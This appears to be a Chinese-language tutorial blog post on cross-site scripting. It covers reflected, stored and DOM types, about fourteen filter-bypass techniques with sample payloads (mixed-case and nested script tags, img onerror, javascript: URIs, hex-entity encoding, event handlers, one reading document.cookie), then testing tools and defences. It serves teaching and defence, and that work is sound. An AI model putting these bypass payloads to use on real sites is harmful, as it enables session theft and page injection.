xss相关知识详解

XSS攻击原理:
XSS,即跨站脚本攻击(Cross Site Scripting),是一种常见的网络应用安全漏洞,允许攻击者将恶意脚本注入到网页中,这些脚本随后会被受害者的浏览器执行。
XSS 绕过是指尝试规避网站或应用程序中实施的 XSS 防护机制,以成功实施跨站脚本攻击。
Xss类型分类:
    反射型XSS:非持久型攻击,仅在受害者点击含有恶意JavaScript脚本的URL时触发,恶意代码并未保存在目标网站。
    存储型XSS:持久型攻击,恶意脚本会被保存在目标服务器的数据库或文件中,如论坛、博客等位置,并对访问这些内容的每个用户产生影响。
    DOM型XSS:基于DOM操作的漏洞,不需要与服务器交互,通过修改页面DOM节点数据信息而形成,主要通过JS对DOM的操作不当导致。
以下是一些常见的xss绕过思路:

1. 大小写绕过:某些网站可能仅过滤了特定关键字的常见写法,例如只过滤了<script>,而没有过滤<SCRIPT>或<ScRiPt>。可以尝试使用大小写混合的方式来绕过过滤,如

<ScriPt>alErt(1)</ScRipT>

2. 利用过滤后返回语句再次构成攻击语句:当网站设置了某些过滤规则时,可以尝试构造输入,使其在经过过滤后生成的返回语句能再次构成有效的攻击语句。例如,若过滤了<script>标签,输入可能会被过滤为<script>,从而绕过限制并执行脚本。

<scrscriptipt>alert(1)</scrscriptipt>

3.使用其他标签构造 XSS:如果script标签被完全过滤,可以尝试使用其他具有类似功能的标签。当图片加载出错时会触发onerror事件中的脚本执行。

< img src="x" onerror="alert('hey!')">

4.通过 JavaScript 命令实现的图片 XSS

<IMG SRC=”javascript:alert(‘XSS’);”>

5.通过 error 事件触发 alert

<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>

6. 主动闭合标签:

• 闭合引号标签:通过手动闭合掉引号标签等方式来达到测试 XSS 漏洞的目的。例如,输入的字符串被放入到<input value="这样的标签中,那么可以尝试输入'/>来闭合标签,然后执行后续的脚本。

<input value="这样的标签中,那么可以尝试输入'/>

• 绕过转义字符:如果管理员在单引号或双引号之前放置了转义字符\,可以使用字符实体,如用&quot;或&apos;来代替双引号或单引号。或者使用 JavaScript 的fromCharCode函数,将 Unicode 值转换成字符串,例如

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

7. 组合编码方式:考虑 HTML 渲染的顺序,选择合适的编码方式进行测试。例如,使用十六进制 HTML 字符实体编码来绕过某些过滤。

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74;&#x3A;&#x61&#x6C&#x65&#x72&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>

8. 利用其他事件:除了常见的onclick、onmouseover等事件,还可以寻找其他可利用的事件。例如,onfocus(获得焦点时触发)、onchange(内容改变时触发)等。

<input type="text" onfocus="alert('XSS')">

10. 畸形的 A 标签:通过跳过 HREF 标签来寻找漏洞

<a onmouseover=”alert(document.cookie)”>xxs link</a >

11. 畸形的 IMG 标签:利用不严格的 HTML 解析

<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

12. 利用浏览器特性或漏洞:不同的浏览器可能对某些代码的处理方式存在差异,可以尝试利用这些差异来绕过过滤。但这种方式通常不太稳定,因为浏览器会不断更新修复漏洞。

13.重音符混淆:当需要在 JavaScript 代码中同时使用单引号和双引号时,可使用重音符()包含代码,如

<IMG SRC=javascript:alert(“RSnake says, ‘XSS’”)>`

14. 缩短攻击代码:有时候,通过巧妙地构造较短的攻击代码来绕过长度限制或某些特定的过滤规则。例如,javascript:alert(1)//利用了注释//来省略后面的代码。

网站和应用程序开发者应该采取有效的措施来防止 XSS 攻击,如输入验证、输出编码、设置合适的 Content Security Policy 等。同时,用户也应该保持警惕,不轻易点击来自不可信来源的链接,避免在不可信的网站上输入敏感信息。
以下是一些常见的 XSS 攻击工具:

1. Burp Suite:这是一款集成的 Web 应用程序测试工具,其中包含了用于检测和利用 XSS 漏洞的功能。

2. OWASP ZAP:开源的 Web 应用程序安全扫描工具,能够发现多种安全漏洞,包括 XSS。

预防XSS攻击是网站安全的重要方面。以下是一些常见的预防措施:

1. 输入验证和过滤:对所有用户输入进行严格的验证和过滤,确保只接受合法的字符。可以使用白名单策略,仅允许特定的字符集,并拒绝其他所有字符。

2. 输出编码和转义:对输出到网页的所有数据进行适当的编码或转义,将特殊字符转换为HTML实体,以防止恶意脚本被执行。例如,使用HTML实体编码(如&lt;、&gt;、&amp;等)来替换特殊字符。

3. 内容安全策略(CSP):实施内容安全策略可以限制外部脚本的来源和执行。通过设置合适的CSP规则,可以防止未经授权的脚本加载和执行。

4. 避免直接拼接用户输入:在动态生成的DOM元素中,避免直接拼接用户输入。相反,应该使用参数化的方法,如使用预编译语句或模板引擎,以避免注入攻击。

5. 更新和维护应用程序:定期更新和维护应用程序,修复已知的安全漏洞。及时应用安全补丁和更新,以减少潜在的攻击面。

6. 安全开发实践:采用安全的编程实践,包括最小权限原则、错误处理、日志记录等,以减少潜在的安全风险。

7. 安全培训和意识:提高开发人员和用户的安全意识,教育他们如何识别和防范XSS攻击。

8. 安全扫描和测试:定期进行安全扫描和测试,包括自动化工具和手动审查,以发现和修复潜在的安全漏洞。

综上所述,综合采取上述措施可以大大降低XSS攻击的风险,并保护网站和用户的数据安全。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值